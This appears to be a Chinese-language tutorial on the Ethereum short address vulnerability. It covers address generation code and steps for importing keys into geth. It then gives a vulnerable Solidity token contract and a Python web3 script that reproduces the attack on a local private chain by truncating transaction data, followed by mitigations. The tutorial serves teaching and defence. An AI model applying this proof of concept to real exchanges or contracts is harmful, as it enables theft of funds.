相关原理
以太坊生成地址过程
- 生成 256 位随机数作为私钥
- 将私钥转化为 secp256k1 非压缩格式的公钥,即 512 位的公钥
- 使用散列算法 Keccak256 计算公钥的哈希值,转化为十六进制字符串
- 取十六进制字符串的后 40 个字母,开头加上 0x 作为地址 ```python import secp256k1 from Crypto.Hash import keccak
def get_eth_addr(private_key_str=None): if private_key_str is None: private_key = secp256k1.PrivateKey() private_key_str = private_key.serialize() else: private_key_bytes = bytes.fromhex(private_key_str)
# 将私钥转化为secp256k1公钥
private_key = secp256k1.PrivateKey(private_key_bytes)
public_key_bytes = private_key.pubkey.serialize(compressed=False)
public_key_str = public_key_bytes.hex()
keccak_hash = keccak.new(digest_bits=256)
keccak_hash.update(public_key_bytes[1:])
h = keccak_hash.hexdigest()
address = '0x' + h[-40:]
return {
"private_key": private_key_str,
"public_key": public_key_str,
"address": address
}
if name == “main“: print(get_eth_addr(“6ead04ad16c381377a35972712b53cfe552694cea9be337bc97291930487c7f8”))
```bash
apt install pkg-config
pip install secp256k1
pip install pycryptodome
批量生成地址
在线网站生成指定地址: https://vanity-eth.tk/ ,可指定前缀和后缀爆破生成私钥。
点击Save
可以直接生成json文件,将其下载复制到geth私链keystore即可添加该账户。也可通过geth导入私钥添加账户。
geth通过私钥导入账户
- 将私钥保存到
pkey.txt
文件中 - 导入将私钥导入geth:
geth account import pkey.txt
- 找到私钥对应的keystore文件:
geth account list
- 将该keystore文件移动到私链的keystore文件夹下,进入console查看是否添加成功
短地址攻击原理
短地址攻击。短地址攻击是指攻击者通过构造末尾为零的地址进行合约调用,并在调用参数中故意将地址末尾的零舍去,从而利用虚拟机对于数据的白动补全机制来将第二个参数进行移位放大。短地址攻击通常的发生场所在交易所,若用户在交易所发起对合约进行转账的操作,并使用了恶意构造的短地址作为目标。交易所如果没有对用户输入长度进行校验,便会因为短地址漏洞而使得实际转账的金额被扩大若干倍,从而造成大量的资金损失。短地址漏洞的根源在于虚拟机在读取合约调用输入时,对长度不符合要求的字段进行了末尾白动补零的操作从而造成了数据的歧义和参数的移位扩大。
https://blog.csdn.net/TurkeyCock/article/details/84061796#commentBox示例
攻击场景
对于这样一个合约,Bob 想要转发 1 token 给 Alice 的账户,然而 Alice 给 Bob 的地址是省略了最后两位0,导致转账 token 翻了 256 倍。
```javascript pragma solidity ^0.4.25;
contract short_address { mapping (address => uint) balances;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function short_address() public {
balances[msg.sender] = 10000;
}
// 向地址转账
function transfer(address to, uint amount) public returns(bool success) {
if (balances[msg.sender] < amount) return false;
balances[msg.sender] -= amount;
balances[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function getBalance(address addr) public view returns(uint) {
return balances[addr];
}
}
注意: ValueError: {'code': -32601, 'message': 'the method eth_accounts does not exist/is not available'}<br />玄学错误: --http.api "eth,web3" ==> --http.api eth,web3
<a name="dnAmU"></a>
#### 测试代码
```python
import os,json,sys
from web3 import Web3,HTTPProvider
class contract:
# 编译合约
def __init__(self,file):
os.system("solcjs "+file+" --bin --abi --optimize")
for fi in os.listdir():
if fi[-3:]=='abi':
os.rename(fi,'tmp.abi')
elif fi[-3:]=='bin':
os.rename(fi,'tmp.bin')
with open('tmp.bin','r') as f:
self.contractBin = "0x"+(f.readlines())[0]
with open('tmp.abi','r') as f:
self.contractAbi = json.loads((f.readlines())[0])
os.remove('tmp.abi')
os.remove('tmp.bin')
print('[!] 合约编译成功...')
# 部署合约
def deploy(self):
self.web3 = Web3(HTTPProvider('http://localhost:60000'))
if not self.web3.isConnected():
exit("[!] 请检查是否开启RPC服务...")
eth = self.web3.eth
eth.default_account = eth.accounts[0]
# 解锁账户
self.web3.geth.personal.unlock_account(eth.accounts[0],'123')
gasValue = eth.estimateGas({'data':self.contractBin})
print("[!] 合约部署预计消耗gas: "+str(gasValue))
tx_hash = eth.contract(
abi=self.contractAbi,
bytecode=self.contractBin).constructor().transact()
receipt=eth.waitForTransactionReceipt(tx_hash)
address = receipt['contractAddress']
print("[!] 合约部署成功,地址: "+str(address))
self.address = address
# 模拟攻击场景
def attack(self):
short_address = self.web3.eth.contract(address=self.address, abi=self.contractAbi)
print("-------------------Account status-----------------------------------")
print("before\n\tBob({}): {} token".format(self.web3.eth.accounts[0],short_address.functions.getBalance(self.web3.eth.accounts[0]).call()))
print("\tAlice({}): {} token".format(self.web3.eth.accounts[3],short_address.functions.getBalance(self.web3.eth.accounts[3]).call()))
# 获取交易data序列
transaction = short_address.functions.transfer(self.web3.eth.accounts[3],1).buildTransaction()
transaction['data']=transaction['data'][:-4]+transaction['data'][-2:]
print("\nBob 向 Alice 转账 1 token...\n")
tx_hash= self.web3.eth.send_transaction(transaction)
self.web3.eth.waitForTransactionReceipt(tx_hash)
print("after")
print("\tBob({}): {} token".format(self.web3.eth.accounts[0],short_address.functions.getBalance(self.web3.eth.accounts[0]).call()))
print("\tAlice({}): {} token".format(self.web3.eth.accounts[3],short_address.functions.getBalance(self.web3.eth.accounts[3]).call()))
if __name__ == "__main__":
contract = contract(sys.argv[1])
contract.deploy()
contract.attack()
从交易详情可以看到,69 字节数据缺少了 1 字节,数据后默认补 2 位 0
防护方案
该漏洞在2017年爆出后,各大交易所已经都在客户端增加了地址长度检查。并且,即使它们不做地址长度检查,web3中也增加了保护,如果地址长度不够,会在前面补0,而不是从数据抢劫。该漏洞的防护主要依靠客户端主动检查地址长度来避免该问题,另外web3层面也增加了参数格式校验。虽然在EVM层仍然可以复现,但是在实际应用场景中基本没有问题。
参考链接
[1]https://blog.csdn.net/TurkeyCock/article/details/84061796#commentBox
[2]https://www.freebuf.com/articles/blockchain-articles/199903.html
[3]倪远东,张超,殷婷婷.智能合约安全漏洞研究综述[J].信息安全学报,2020,5(03):78-99.